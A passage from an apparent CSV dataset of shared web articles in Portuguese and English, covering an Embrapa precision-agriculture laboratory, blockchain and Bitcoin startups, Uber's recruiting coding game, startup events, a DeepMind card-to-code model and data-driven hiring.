várias dimensões da Agricultura de Precisão, oferecendo uma área de integração para desenvolver padrões, realizar testes, validações e certificações de sistemas. Os recursos para a implantação do laboratório,da ordem de R$ 7,1 milhões, foram conquistados em 2010 com o apoio do Congresso Nacional por meio de emendas da Comissão de Desenvolvimento Econômico , Indústria e Comércio -CDEIC, presidida à época pelo Dep. Fed. Dr. Ubiali, e emendas parlamentares individuais do Dep. Fed. Duarte Nogueira e Dep. Fed. Lobbe Neto. O LANAPRE está localizado na região central do Estado de São Paulo, em São Carlos nas coordenadas 21 o 57'14""S e 47 o 51'08,45""O. Este município possui duas Unidades da Embrapa (Instrumentação e Pecuária Sudeste) e exitem outros três Centros próximos - na região de Campinas, que são de extrema importância para o tema (Monitoramento por Satélite, Informática e Meio Ambiente). O Laboratório deverá contar com uma infra-estrutura para abrigar máquinas, realizar testes de conexão entre diferentes fabricantes, tanto laboratorial como em campo, promover eventos para compatibilizar conexão e integrar diferentes sistemas, instalar sistema de suporte de informática e geoinformática para desenvolvedores, realizar testes de desempenho de campo com sistema integrado, ter lavouras de culturas mais importantes para o país como soja, milho, mandioca, pastagem (Integração Lavoura-Pecuária-Floresta), café, cana-de-açúcar, entre outros. Para isso, será construído um galpão limpo de 3.000 m 2 , com pátio/pista pavimentada de 2.000 m 2 , salas anexas de informática e eletrônica de 200 m 2 . O modelo proposto é de uma gestão compartilhada entre a Embrapa Pecuária Sudeste - localizada na Fazenda Canchim - onde o Laboratório ficará instalado e a Embrapa Instrumentação, que há anos tem se dedicado ao tema e, atualmente, coordena a Rede Nacional de Agricultura de Precisão da Embrapa. O LANAPRE terá condições de: Realizar pesquisa e desenvolvimento de máquinas e equipamentos para AP; Realizar testes de conexão entre diferentes fabricantes, tanto laboratorial como em campo; Promover eventos para compatibilizar conexão e integrar diferentes sistemas; Instalar sistema de suporte de informática e geoinformática para desenvolvedores; Realizar testes de desempenho de campo com sistema integrado. Acompanhe as etapas da construção: setembro 2012 Veja as notícias sobre o LANAPRE: Embrapa terá Laboratório de Referência Nacional em Agricultura de Precisão , Noite de celebração para comemorar os 40 anos da Embrapa Veja o LANAPRE no Google Earth: Local_LANAPRE (para visualizar é necessário ter instalado o programa Google Earth ) Grupo de São Carlos constrói equipamento robótico com laser para análise de elementos químicos presentes no solo e nas folhas CSIRO's Precision Agriculture group has developed a range of software tools to help manage and analyse spatial information. Carine Ferreira | Valor Técnica, usada principalmente por produtores mais jovens, consiste em mapear cada ponto do terreno para aumentar a produtividade. A Rede de Agricultura de Precisão da Empresa Brasileira de Pesquisa Agropecuária (Embrapa) realiza, no dia 15 de maio de 2014, um seminário no Laboratório de Referência Nacional em Agricultura de Precisão (Lanapre), em São Carlos (SP). Estudo envolveu mais de 200 profissionais de 44 unidades da empresa e mais de 30 instituições parceiras Modelos podem ser adaptados às necessidades do produtor Segundo o pesquisador Lúcio André de Castro Jorge, da Embrapa Instrumentação, já são vendidos modelos de drones no País equipados com câmeras básicas. Veículos aéreos não tripulados (VANTs) podem custar de R$ 5.000 a R$ 120.000 e são uma evolução para a agricultura de precisão. Embrapa também está criando softwares para a nova tecnologia, que poderão prever o aparecimento de pragas Pesquisadores aprimoram tecnologias usadas nas áreas espacial e militar para a produção agrícola After starting to operate the first exclusive laboratory for precision agriculture in the country, Embrapa presents the main solutions already developed in that place No Rádio UFSCar Convida de hoje, o tema é Agricultura de Precisão. E para conversar sobre esses recursos tecnológicos, nós recebemos os pesquisadores da Embrapa, Ricardo Inamasu e Alberto Bernardi. Entidade também está criando softwares para a nova tecnologia, que poderão prever o aparecimento de pragas Os chamados drones permitem monitorar a plantação e a propriedade de forma mais rápida e eficiente. Programa Revista do Campo 21/05/14 - RIT TV (9:45min até 14:05min) Tecnologia do Campo/Canal Rural (31/05) Evento reúne, até esta sexta (6), 110 participantes, dos quais 95 vão apresentar trabalhos científicos englobando 12 temas - agricultura de precisão, agroenergia, biotecnologia, genética e melhoramento animal, genética e melhoramento vegetal, instrumentação agropecuária, meio ambiente, manejo e conservação do solo e da água, novos materiais e nanotecnologia, produção animal, produção vegetal, pós-colheita e qualidade de produtos agropecuários, sanidade animal. Conexão Ciência: EXIBIDO EM 01/07/2014 - A agricultura de precisão é uma forma de manejo integrado de informações e tecnologias que visa o gerenciamento mais detalhado do sistema de produção agrícola como um todo. A prática tem por objetivo reduzir os custos de produção, diminuir a contaminação da natureza pelos agrotóxicos utilizados e aumentar a produtividade. O pesquisador da Embrapa, Ricardo Inamasu, fala sobre o assunto no Conexão Ciência. A agricultura de precisão é uma forma de manejo integrado de informações e tecnologias que visa o gerenciamento mais detalhado do sistema de produção agrícola como um todo. A prática tem por objetivo reduzir os custos de produção, diminuir a contaminação da natureza pelos agrotóxicos utilizados e aumentar a produtividade. O pesquisador da Embrapa, Ricardo Inamasu, fala sobre o assunto no Conexão Ciência, Entrevista com o presidente da Embrapa, Maurício Lopes, que falou sobre o importante papel da entidade no desenvolvimento técnico e científico para o setor pecuário. A técnica de agricultura de precisão possibilita a produção sustentável, além do aumento da produtividade, por meio do monitoramento de aspectos essenciais nas lavouras, bem como o uso racional dos insumos agrícolas, reduzindo os custos de produção A Embrapa Instrumentação apresenta ao público um drone, veículo aéreo não tripulado, que poderá ser utilizado por pequenos produtores na gestão da lavoura. Tecnologia de informação é aplicada para o aumento da produção rural e se torna um dos destaques de evento anual promovido por federação Do clima à energia e o turismo (incluindo a agricultura de precisão), o presidente da Embrapa listou oportunidades que podem alavancar o crescimento do país em um futuro próximo. Agricultura de precisão, drones e outras inovações agrícolas, feira de máquinas e comercialização de produtos e serviços fazem parte das atrações Com aporte de R$ 7 milhões, entidade envolveu 20 de seus Centros de Pesquisa e empresas, com adesão de 214 pesquisadores e 15 unidades experimentais Noticias relacionadas ao tema do projeto Conheça as publicações da Equipe da Rede AP A Rede AP tem 15 áreas experimentais distribuídas no Nordeste, Centro-oeste, Sudeste e Sul do país, cobrindo culturas anuais (milho, soja, trigo, arroz irrigado e algodão) e culturas perenes (eucalipto, pinus, uva, pastagem, cana-de-açúcar, laranja, maçã e pêssego). Mapa esquemático da localização das UPs no Brasil Cristalina - GO Pelotas - RS Matão - SP Mogi Mirim - SP Bagé - RS Dourados - MS Vacaria - RS São Carlos - SP Morro Redondo - RS Rio Negrinho e Doutor Pedrinho - SC Planaltina de Goiás - GO Castelândia - GO Guarapuava - PR Não-Me-Toque - RS Petrolina - PE Bento Gonçalves - RS University of Nebraska-Lincoln Este é o espaço de trabalho criado pela comunidade gvSIG Brasil. The International Society of Precision Agriculture (ISPA) is a non-profit professional scientific organization. The mission of ISPA is to advance the science of precision agriculture globally. As melhores soluções agropecuárias em TI desenvolvidas pela Embrapa, reunidas aqui. Agricultura sustentável: alimentando o presente para garantir o futuro Uma iniciativa para inserir o Brasil no esforço internacional de padronização de comunicação entre tratores e implementos agrícolas. Agricultura de Precisão Embrapa Instrumentação Agropecuária Rua XV de Novembro, 1452 São Carlos-SP Telefone (16) 2107-2804 - Fax (16) 2107-2902",pt
1459251677,CONTENT SHARED,6023609667389715259,4340306774493623681,-7292854281461484137,,,,HTML,https://blog.coinfund.io/five-bitcoin-and-ethereum-based-projects-to-watch-in-2016-664f3a20fa3f?gi=fdcb7d02236c,Five Bitcoin and Ethereum Based Projects to Watch in 2016 - Blockchain Investment Vehicles,"Five Bitcoin and Ethereum Based Projects to Watch in 2016 Git Money (Bitcoin) (Crowdsourcing) Git Money allows anyone to earn money by solving open issues on GitHub. Repository owners put up bounties for tasks and the reward is automatically paid to whoever submits the first successfully merged pull request. No need for interviews, contracts, or trust. So far 44 bounties have been claimed, for translating web pages, creating graphics/videos, writing a Medium article, and various programming tasks. Of the projects on this list, Git Money is the only production ready application with high potential for near term adoption. Amazon's Mechanical Turk has shown that crowdsourcing platforms are useful, and the model is a great fit for GitHub, the home of many cryptocurrency based projects. Git Money was designed using a 21 Bitcoin Computer . ""We've said it before and we'll say it again - it doesn't matter where you're from or who you are. We believe in the right to work anywhere on whatever you want. It doesn't matter your gender, your education, your social or spiritual beliefs or your skin color."" Augur (Ethereum) (Prediction markets/forecasting) Augur is a decentralized prediction market where users wager on the outcome of future events. There is plenty of research( 1 , 2 ) demonstrating the value of centralized markets as forecasting tools and Augur aims to address their shortcomings. Check out the Beta to browse example markets and test the platform with play money. We're unlikely to see a final product before the year's end, but the team has been making steady progress since crowdfunding over $5 million last fall. Microsoft will be offering a solution for companies to run private markets through their Azure Blockchain as a Service (BaaS) platform. TransActive Grid (Ethereum) (Utilities/renewable energy) TransActive Grid is allowing neighbors to purchase and sell renewable energy among each other, offering communities with microgrids a way to create a local energy market while reducing emissions and pollution. This is enabled by attaching solar panels to computers that track and log the creation of energy onto Ethereum's blockchain. The first implementation is being tested with participants of the Brooklyn City Microgrid project. For details see recent features in The New Scientist , Vice , CleanTechnica , and the team's video presentation . Yours (Bitcoin) (Content sharing/social media) Yours is a decentralized content sharing application where users will earn money for their submissions. When you ""endorse"" (think Reddit upvote or Facebook like) a post, you send the author a small microtip from your account's Bitcoin wallet. Endorsing a post also gives you the chance to be rewarded with a portion of the author's following tips, this incentivizes the early support of quality content. Zapchain is an existing site demonstrating demand for Bitcoin powered content monetization, and Medium is rolling out features that will allow authors to get paid. Here's a very early stage demo of Yours. ""We're going to enable anyone to get paid for the things they create, and allow the world as a whole to decide who deserves recognition, fame, and fortune."" Slock.it (Ethereum) (Internet of Things) Slock.it GmbH is a German startup working on slocks; software based ""smart locks"" that can be controlled with a smart phone application. In their introductory video , you can see a glimpse of how they hope to disrupt the sharing economy, enabling the renting and selling of anything without a middleman. Microsoft will provide testing and integration tools for businesses through their Azure BaaS. ""If your name is GE, Pearson or 3M - it's the ideal way to get started - with a one-click deployment."" Slock.it is also working with RWE (Germany's second largest utilities provider) on a smart contract powered electric vehicle charging platform, BlockCharge. They recently showcased a working prototype and will be testing the technology with real vehicles and stations over the next year. Slock.it's most ambitious venture is a Decentralized Autonomous Organization (DAO), a company that lives on Ethereum's blockchain whose rules are enforced by software . Imagine a ""super-Kickstarter"" which allowed backers to invest and become permanent stakeholders in projects instead of receiving one time rewards. Anyone can become a shareholder in the DAO by purchasing tokens (with ether) in the upcoming token sale. Shareholders vote on the DAO's business decisions and receive a portion of transaction fees whenever slocks are used. The DAO's existence is supposed to ensure the slock network can continue operating even if Slock.it GmbH goes out of business. Slock.it will submit a proposal to the DAO for development of the Ethereum computer , the device responsible for controlling slocks. If approved by shareholders, the DAO will pay Slock.it using the ether it raised during the token sale. There are nearly 3000 people in Slock.it's rapidly growing Slack channel, many of them eagerly waiting to participate in the DAO experiment.",en
1459251714,CONTENT SHARED,7905485530310717815,4340306774493623681,-7292854281461484137,,,,HTML,http://www.coindesk.com/blockchain-smart-contracts-bnp-paribas/,Blockchain Smart Contracts Startup Selected By BNP Paribas Accelerator - CoinDesk,"CommonAccord, a blockchain-based startup for legal documentation, is one of eight startups selected for BNP Paribas' new FinTech accelerator, L'Atelier. CommonAccord 's goal is to create global codes for transferring legal documents like contracts, consents and permits. The startup wants to develop a distributed network of participants that synchronizes files with each other, using blockchain, GitHub or email transfer. According to CommonAccord, however, blockchain is particularly important for it's ability to automate routine functions using smart contracts and provide an immutable ledger that can be used for legal enforcement. A parser program developed by Primavera De Filippi, an expert in the bitcoin legal space at Harvard's Berkman Center is being used by CommonAccord to support peer-to-peer transactions. BNP Paribas, French multinational bank, set up the accelerator in December to support startups and develop prototype solutions. Cryptocurrency and blockchain-related startups accounted for 3% of the 142 total startups that applied to be a part of L'Atelier's season one. Startups focusing on payments; cybersecurity, compliance and anti-fraud; and portfolio management led the number of applications. Image via Shutterstock Banking BNP Paribas Smart Contracts",en
1459251799,CONTENT SHARED,8194079557551008273,4340306774493623681,-7292854281461484137,,,,HTML,http://bitcoinist.net/using-gamified-hacking-challenges-to-attract-new-blockchain-developers/,Using Gamified Hacking Challenges To Attract New Blockchain Developers,"The blockchain ecosystem is always in need of more developers who want to push a fresh spin on the concept of distributed ledgers. Despite several conferences and development workshops around the world, it is rather difficult to attract coders on a larger scale. A new solution by Uber, which gamifies the aspect of hacking challenges, might be something to take note of by Bitcoin and blockchain companies. Also read: Sollywood Aims to Disrupt Traditional Cable TV With Blockchain Hacking Challenges Through Games Scouting for new developer talent is not an easy task, but there are certain tools to make life a bit easier for companies. Hacking challenges are an excellent way to test someone's coding skills in a more relaxed environment, as it gives them a problem for which they can use out-of-the-box thinking to solve it. has been looking at the concept of hacking challenges and decided to experiment with this solution to scout potential hires. These challenges will appear in the Uber app, and are labelled "" Code on the Road "". Considering how this format is presented as a mobile game, it is an excellent way to kill time while being driven around, and it could land users a job. Although people with previous coding experience - especially engineers - will have somewhat of an advantage during these hacking challenges, the gamified concept is open to anyone willing to give it a try. Uber also claims they are not targeting specific users with this game, although the hacking challenges will be rolled out in US cities with a higher concentration of tech jobs. What is of particular interest is how Uber is advertising the hacking challenges as a tool for [aspiring] developers to showcase their skills. It is positive to see such a big company tackle things in a different view, rather than relying on just job interviews, which is not environment catering towards the strengths of developers. All in all, there are three different coding challenges in the game, all of which has to be completed within sixty seconds. Users who score above average can contact Uber directly through the app itself. Doing so will result in them receiving an email with a link to the job application. Interesting Solution For Future Blockchain Development the aspect of blockchain development could be an interesting way for companies to attract potential job candidates. Considering how most consumer son the ""hotter' blockchain startup areas have access to a smartphone, it could be a good fit to integrate such a solution within the existing mobile apps themselves. Granted, companies will be ""fishing in the pool"" of enthusiasts, but that might be for the better as well. There are a lot of bright developer sin the world of blockchain and digital currency, most of whom do coding on the side. Perhaps some of them would be elated to turn their coding skills into a full-time job. What are your thoughts on attracting new blockchain developers through a coding ""game""? Let us know in the comments below! Images courtesy of Shutterstock, Uber Jp Buntinx JP Buntinx is a freelance Bitcoin writer and Bitcoin journalist for various digital currency news outlets around the world. In other notes, Jean-Pierre is an active member of the Belgian Bitcoin Association, and occasionally attends various Bitcoin Meetups in Ghent and Brussels Mobile security for Android users seems to be tough to achieve these days, especially when considering how the sour... Sollywood believes it can achieve its goals of disrupting the $200 billion Cable TV industry by leveraging blockcha... Up-and-Coming dApps platform Lisk has closed its crowdfunding campaign, successfully raising 14,000 bitcoins. This ...",en
1459251851,CONTENT SHARED,-1672166631728511207,4340306774493623681,-7292854281461484137,,,,HTML,https://www.coinbr.net/blog/america-latina-apresenta-forte-potencial-para-o-bitcoin/,O potencial do bitcoin na América Latina,"28/03/2016 | por Safiri Felix | em Economia As projeções para a economia na América Latina em 2016 não são nada animadoras. Além de agudas crises políticas em alguns dos principais países, como Brasil e Venezuela, a forte queda no preço das commodities que compõem a maior parte das exportações da região graças à desaceleração da economia chinesa, o primeiro parceiro comercial de muitas nações latino-americanas, está provocando fortes recessões. Devido a esse quadro de pessimismo econômico, cada vez mais pessoas e empresas na América Latina passaram a entender e tirar proveito dos grandes benefícios do bitcoin como uma alternativa interessante de investimento e pagamento, especialmente para despesas em moeda estrangeira. No ano passado, a adoção da moeda digital bateu recordes na América Latina. No Brasil, por exemplo, o ano de 2015 movimentou mais de R$ 113 milhões em negócios envolvendo bitcoin, um aumento de 158% em relação a 2014. A cotação da moeda teve 102% de valorização no ano. No México, os negócios aumentarem 600% em 2015. A empresa de processamento de pagamentos BitPay chegou a registrar crescimento de 510% em suas transações no meio do ano que seguiu forte até o final de 2015. Em toda região, o percentual de crescimento nas transações comerciais ultrapassou 1700% ao longo do ano. Os indicadores referentes a 2015 mostram que quem manteve capital alocado em bitcoin no ano passado viu seu investimento performar 92% melhor que o real, 65% superior que o peso mexicano, 41% em peso argentino e impressionantes 400% em relação a moeda venezuelana bolivar. É importante lembrar que a inflação em vários países atingiu níveis recordes no ano passado e a situação não deve melhorar em 2016. Na Venezuela, o índice inflacionário bateu 275% em 2015, enquanto que na Argentina chegou a 30% e no Brasil pouco mais de 10%. O grande expoente da região quando o assunto é bitcoin continua sendo a Argentina, que possui o maior número per capita de entusiastas da tecnologia. O novo presidente argentino, Mauricio Macri, parece ser um entusiasta da tecnologia. Recentemente, o mandatário argentino reuniu-se com o bilionário Richard Branson, acionista do Bitpay, e discutiu aspectos relacionados à moeda digital. No entanto, o caso brasileiro é especialmente interessante para os investidores. Com o crescimento da inflação, diversificar reservas com bitcoin é uma importante alternativa pra retenção do poder de compra e a forma mais ágil de obter moeda estrangeira. O mercado também apresenta avanços importantes em termos de liquidez e casos de uso como os desenvolvidos pela coinBR. O volume negociado diariamente cresce de forma sustentada no primeiro trimestre do ano, apontando perspectivas de que o mercado brasileiro movimentará algo em torno de R$ 300 milhões em 2016. Outro importante motivador para adoção de bitcoins na região tem sido o aumento do controle de capitais. Enviar dinheiro para o exterior utilizando serviços financeiros tradicionais incorre em um custo médio superior a 10%, além da burocracia e tributação crescente. Os usuários de bitcoin latino-americanos não estão utilizando bitcoins apenas para reservar valor ou escapar dos fortes controles de capitais. Muitos também estão aproveitando sua intrínseca eficiência para fazer compras online nos vários e-commerces que já aceitam a moeda digital, também utilizando cartões de crédito pré-pago com recarga em bitcoin, como as soluções do ContaSuper e ADVcash disponibilizadas aos clientes da coinBR. Apesar do forte crescimento na adoção de bitcoins na América Latina, a tecnologia ainda enfrenta alguns obstáculos para decolar. O setor de e-commerce, por exemplo, ainda não ganhou tração parecida como ocorreu na América do Norte e na Europa. Na Venezuela, por exemplo, o governo mandou fechar mineradoras de bitcoin e recentemente utilizou seu canal de televisão estatal para criar uma propaganda contrária ao bitcoin, dizendo que esta é a moeda da deep web e uma forma de evadir divisas do país. Na Bolívia, em 2014, o governo central baniu a utilização de quaisquer moedas que não sejam emitidas pelo banco central do país, incluindo o bitcoin. O mesmo aconteceu no Equador, quando também em 2014, o governo baniu a utilização de moedas descentralizadas. Apesar do cenário desafiador, definitivamente a América Latina figura como uma terra de oportunidades para o bitcoin. Brasil, Venezuela, México e Argentina certamente serão países que irão liderar esse crescimento do uso da tecnologia.",pt
1459251889,CONTENT SHARED,-4374331682165863764,4340306774493623681,-7292854281461484137,,,,HTML,http://www.bbc.com/news/business-35890616,From fine wine to lotteries: Blockchain tech takes off - BBC News,"Imagine a world where you can vote in an election with your phone, where your buy a house in a matter of hours, or where cash simply doesn't exist. These are some of the scenarios being mooted by an increasingly excited blockchain community. The technology that underpins the cryptocurrency Bitcoin is nothing new - it's been around for decades. It's just an encrypted database that that's distributed across a computer network. But what makes it different is it can only be updated when everyone on that network agrees, and once entered the information can't be overwritten, making it extremely secure and reliable. And trust, as we know, underpins most business transactions. ""Blockchain, for perhaps the first time, presents a legitimate threat to the status quo,"" says Terry Roche, head of financial technology research at financial advisory firm, Tabb Group. The tech has spawned a new generation of start-ups looking to find new applications, from peer-to-peer lending to smart contracts. No restrictions For example, OpenBazaar is a way people can sell anything to anyone, anywhere in the world using bitcoins. Unlike with eBay or Amazon, users don't visit a website but download a programme that directly connects them with other potential buyers and sellers. ""Our goal is to unbundle the incumbent marketplaces around the world by offering a more private, secure and flexible option that isn't controlled by any one corporate interest, but rather, by the users themselves,"" developer Brian Hoffman tells the BBC. According to OpenBazaar, cutting out the middleman means there are no fees, no restrictions, no accounts to create, and you only reveal the personal information you feel comfortable sharing. The software is now in its testing phase and has been downloaded nearly 20,000 times in the last three weeks. Smart contracts Another major development exciting the industry are smart contracts, programmes that can automatically verify that contract terms have been met, and, once that has been done, authorise payment - all in real time without any need for middlemen. The results are then indelibly recorded in the blockchain database. Some believe - perhaps fancifully - that such contracts could remove the need for lawyers one day. Companies like San Francisco-based SmartContract and Hedgy are already building businesses based on the concept, which could have applications in the financial, property and commerce markets. By incorporating smart contracts with the ""internet of things"" (IoT)- smart devices hooked up to the internet - blockchain tech could have uses far beyond the financial sector, says Emmanuel Viale, a managing director of Accenture's Technology Labs. ""You could have a wearable fitness tracker that would send the number of calories or steps taken to the blockchain. The data is encrypted and my identity is anonymised. The same with home medical devices,"" he says. ""The Blockchain would create a link with health professionals - whether coaches, doctors or healthcare institutions - and the smart contract could trigger needed services - whether it's a fitness regime or treatment for a chronic disease."" In another example, start-up Hellosent thinks smart contracts and IoT devices could be used to monitor deliveries of fine wines. Sensors would continuously measure the temperature and humidity of the wine in transit, then if either fell below agreed levels as recorded in the smart contract, the purchase would be automatically cancelled. Blockchain platform Some firms are even developing their own version of blockchain. Ethereum , for example, is a blockchain-based decentralised platform that developers can use to create their own applications, cryptocurrencies and virtual organisations. Co-founder Mihai Alisie says giants such as IBM, Microsoft and Samsung have already started researching its possible uses. ""These new applications put users in full control over their data, privacy and funds, making possible an ecosystem of web apps that can be trusted... since the code powering these applications is transparently running on the Ethereum blockchain,"" he says. There are developers on Ethereum creating all sorts of new projects, from lotteries to financial options exchanges, peer-to-peer home-produced energy trading platforms to games. ""From financial systems to governance systems and everything in-between, there is a brave new world awaiting to be imagined and built. I call this the crypto renaissance,"" says Mr Alisie. Predicting the future? One intriguing piece of software based on the Ethereum platform is Augur. Sounding somewhat reminiscent of the Borg from Star Trek, it harnesses ""the wisdom of crowds"" - collective intelligence - to predict the outcome of future events. ""The goal is to create a global prediction market platform that would enable the expertise of anyone to be utilised in markets, creating what we believe will be the most accurate forecasting tool in history,"" says Tony Sakich, Augur's director of marketing. Still in its development phase, it has now been released for Beta testing. Of course, many of these blockchain start-ups may never get off the ground and some of the predictions for the technology seem far-fetched, to say the least. At Davos earlier this year, one head of an European bank thought blockchain could sound the death-knell for cash. As venture capitalists pile in, increasing investment in blockchain-related firms from $3m to $474m (£335m) from 2011 to 2015, there is the risk of a dotcom-style bubble. There is also the issue of diminishing network capacity - blockchain database management takes up a lot of computing power. Blockchain boss Peter Smith has warned that the technology could ""run out of rocket fuel before the ship reaches orbit"", as complaints about slowing transaction speeds reach record levels. That said, there is a lot of innovation going on and Peter Loop, head of innovation and disruptive technologies at Infosys Finacle, concludes: ""Blockchain as a commercially viable technology remains on an unclear path. ""But it's coming quickly. It's not 10 years away. It's coming within a few years."" Follow Technology of Business editor @matthew_wall on Twitter .",en
1459257477,CONTENT SHARED,5714314286511882372,1895326251577378793,6290959012079283980,,,,HTML,https://www.sympla.com.br/como-startups-e-grandes-empresas-podem-colaborar-para-inovar-mais-e-melhor__60973,Como Startups e Grandes Empresas podem colaborar para Inovar mais e melhor,"Muito tem se falado sobre como grandes empresas podem aproveitar as startups para inovar, mas pouco tem se discutido como essas startups podem se alavancar, aproveitando o que as grandes empresas tem de melhor. Participe do evento e descubra como inovar mais e melhor. Participe dodiretor de Marketing e Inovação da Tecnisa evento gratuito de Maximiliano Carlomagno , sócio-fundador da Innoscience com participação de Romeo Busarello, Egon Barbosa e Igor Piquet, em parceria com o Com participação de: -Maximiliano Carlomagno, sócio fundador da Innoscience -Romeo Busarello, Cubo Network e descubra Como startups e grandes empresas podem colaborar para inovar mais e melhor . Potencialize sua startup no relacionamento com as grandes empresas!",pt
1459257584,CONTENT SHARED,-8141818108252244664,1895326251577378793,6290959012079283980,,,,HTML,https://www.sympla.com.br/pimp-my-pitch-como-fazer-um-pitch-poderoso__60657,Pimp My Pitch: como fazer um Pitch poderoso,"Descrição do evento Qual horário? 14h00min às 18h30min ""Google provides access to the world's information in one click Larry Page e Sergey Brin: pitch para a Sequoia Um pitch de sucesso depende muito mais do que conhecimento sobre a sua startup. A maneira como uma informação é transmitida tem um impacto profundo na compreensão da mensagem e pode ser a diferença entre um investimento de sucesso e ser obrigado a continuar no bootstrapping. Nestes 2 dias de imersão você aprenderá os elementos essenciais que tornam as apresentações excelentes. Com uma dinâmica constante entre teoria, técnica e prática, iremos analisar pitches e apresentações de sucesso. Além de demonstrar através de casos reais, quais são as abordagens mais eficazes para conquistar o seu público. Do roteiro, passando por storytelling, design dos slides até o treinamento do pitch, você aprenderá o passo a passo para estruturar um pitch de alto nível, preparar um deck impactante e se apresentar com desenvoltura e confiança. Você também será convidado a entender um pouco dos segredos das grandes apresentações do TED e de lições do , além de descobrir o que Shark Tank , Steve Jobs e podem te ensinar sobre como criar apresentações inspiradoras e memoráveis. Aristóteles Disney TÉCNICAS DE PALCO - Como os gestos, seu tom de voz, seu olhar e sua postura podem fortalecer a comunicação da sua mensagem? Ao longo do curso, você terá a oportunidade de trabalhar o seu pitch e levá-lo a um novo patamar com base nos conhecimentos aprendidos e nos feedbacks das atividades. E principalmente: você poderá aplicar essa nova habilidade em situações variadas do cotidiano empreendedor que vão muito além do investimento, como prospecção de clientes, contratação de funcionários, negociação com parceiros e apresentações internas. Sua comunicação pode transformar sua startup.",pt
1459257924,CONTENT SHARED,-8939172344092554931,-1443636648652872475,-9071650721576979280,,,,HTML,http://kotaku.com/google-deepmind-is-now-analysing-magic-and-hearthstone-1767628685,Google DeepMind Is Now Analysing Magic And Hearthstone Cards,"With retro games and Go well-conquered , where is an artificial intelligence like Google DeepMind meant to turn next? Magic: The Gathering and Hearthstone , obviously. Before you get too excited (or maybe insanely depressed as you imagine a toaster holding aloft the Magic World Championship trophy on its ejection lever), there are no plans to set the AI loose on playing these popular card games. At least not yet. For now, the folks over at Oxford University are happy enough for DeepMind to analyse card data and transform it into code . Essentially, the task it is being set is one of translating the data from human to machine speak and while the cards have their own game ""language"" and structure, they can certainly throw some curveballs. Here it is explained in their words: Many language generation tasks require the production of text conditioned on both structured and unstructured inputs. We present a novel neural network architecture which generates an output sequence conditioned on an arbitrary number of input functions. Crucially, our approach allows both the choice of conditioning context and the granularity of generation, for example characters or tokens, to be marginalised, thus permitting scalable and effective training. Using this framework, we address the problem of generating programming code from a mixed natural language and structured specification. We create two new data sets for this paradigm derived from the collectible trading card games Magic the Gathering and Hearthstone. For example, elements such as a card's resource cost never really change in nature and are easily deciphered, however, a card's text might specify that the cost is increased or reduced based on another condition. As you can imagine, writing a program that can analyse and account for these changes in card logic and translate them into arbitrary code is no trivial task. Rather than write the mother of all if/else statements, they've resorted to the use of DeepMind instead. By giving it enough data - all eleventy billion or so Magic cards, say - the AI can learn the ""language"" of card text to produce more accurate results. Apparently, it does a decent job on Hearthstone , though it still stuffs up: The card itself is on the left. On the right, the code DeepMind has generated based on its text. It handled the (relatively speaking) straightforward effect of the Madder Bomber fine, but the more specialised Preparation confused it. Which is fair enough - going by the number of times professional players have screwed up the cast order of Preparation , we can forgive DeepMind for getting it wrong. The researchers mention that the reason ""Madder Bomber"" was treated correctly was because it had ""captured"" the difference between a similar card: The ""Madder Bomber"" card is generated correctly as there is a similar card ""Mad Bomber"" in the training set, which implements the same effect, except that it deals 3 damage instead of 6. Yet, it is a promising result that the model was able to capture this difference. Yep, it's getting the hang of it all right. At this stage I'd be worried about DeepMind getting addicted to Hearthstone and blowing all of Google's cash on packs. That would be a lot of packs. This story originally appeared on Kotaku Australia .",en
1459258094,CONTENT SHARED,-1591454024897803197,-8606085472606356565,7660662789565329118,,,,HTML,http://recruitingdaily.com/how-okcupid-changed-hiring-forever/,How OKCupid Changed Hiring Forever.,"Twenty years ago, if you wanted to find a specific person - whether it was the perfect romantic counterpart or an ideally suited future employee - you could expect to spend months searching for anyone who simply qualified. The advent of the internet changed that completely. Suddenly, a tsunami of potential new candidates opened up for both personal and professional searches, and both lovers and recruiters had more options than they'd ever dreamed existed. The introduction of the web meant that people from anywhere in the world could connect with millions of new people from anywhere else, and conversations or relationships that would have been unfathomable before were suddenly possible. Dating sites started to spring up left and right to help connect potential matches, and traditional recruiting practices were entirely upended (think: physical job boards going digital). But this rush of new options created an entirely new-but equally problematic-challenge: too much information. The Problem With Too Much Data. In hiring, and also in love, there can be too much of a good thing. The average job listing elicits 250 applicants , while Tinder, for example, generates 1.4 billion swipes (potential matches) per day. With volume that high, quality control becomes nearly impossible, and people end up discarding candidates (either romantic or professional) without any real review, or else giving up entirely. For dating, you're left sorting through a lot of... less-than-desirable options. For hiring it means that dozens of qualified, potentially incredible workers get overlooked while recruiters are forced to waste hours digging through irrelevant resumes or following false leads. Most recruiters end up either relying on referrals or just seizing upon the first people who somewhat conform to the job description , even if they aren't truly the best fit. The system is incredibly inefficient, and the cost to an organization is substantial. So how do you contend with this overwhelming influx of potential new matches? That's where OKCupid's technical breakthroughs set the stage for a new way of managing massive amounts of information. There were other popular dating sites at the time of its rise to popularity, but OKCupid was the one that developed a reputation for its innovative use of data science and groundbreaking algorithm . The company also ran a notorious (now defunct) data blog in which it used its datasets to analyze romantic trends. Using user-sourced data and a single simple formula, OKCupid was able to pair each user with his or her most compatible dating prospects. Data science enabled it to turn that data into incredibly valuable (and interesting!) insights about the landscape of modern love-which is, after all, its operational industry. It was the one of the first and most public uses of smart new technologies and information as a way of helping people find people. What Automation and Data Science Do For Hiring. Just like dating, hiring is an incredibly specific process, with several similar steps. Hiring managers need to find candidates that are not only ""appealing"" (experienced, highly qualified, etc.), but also a fit for that particular company. Do the candidate's strengths round out the team's weaknesses? Could he or she promote the values of the company? Does the hire promote a higher diversity of experience ? All valid considerations, but difficult to balance in an extremely competitive hiring market with a flood of prospects. Recruiters need to operate quickly and with precision. They need to be confident in their candidate choices and equipt with the information to engage with them and draw them in as quickly as possible. Automation , like the kind used by OKCupid, helps them do that. There's enough publicly available information about any potential candidate on the internet to make strategic sourcing exceptionally easy. If software can combine data from social networks, blogs, work portfolios, and other sources, it can generate a pretty thorough picture of a person in nanoseconds. Then, it can present recruiters with their ""top matches"" before they even start the sourcing process. That type of automation has played a key role in defining the modern hiring market. Sourcing, engaging, onboarding, growth... Everything has gotten much, much, much faster as a result. Hiring competition has reached an all-time high, and it's largely because organizations can operate that much more efficiently. The second component of OKCupid's major contributions - analytics and data science - has proven equally critical. That's because speed on its own isn't enough. In a world where the average cost of a misplaced hire is 2.5 times that employee's annual salary , regular mistakes aren't sustainable. Recruiters have to completely understand the industry landscape, the candidates, the needs of their own organization, and how each candidate would fit in. The right strategically-designed analytics solution can help them do that. We're living in a brave new world with more connections, more interactions and more potential relationships. It can feel overwhelming at 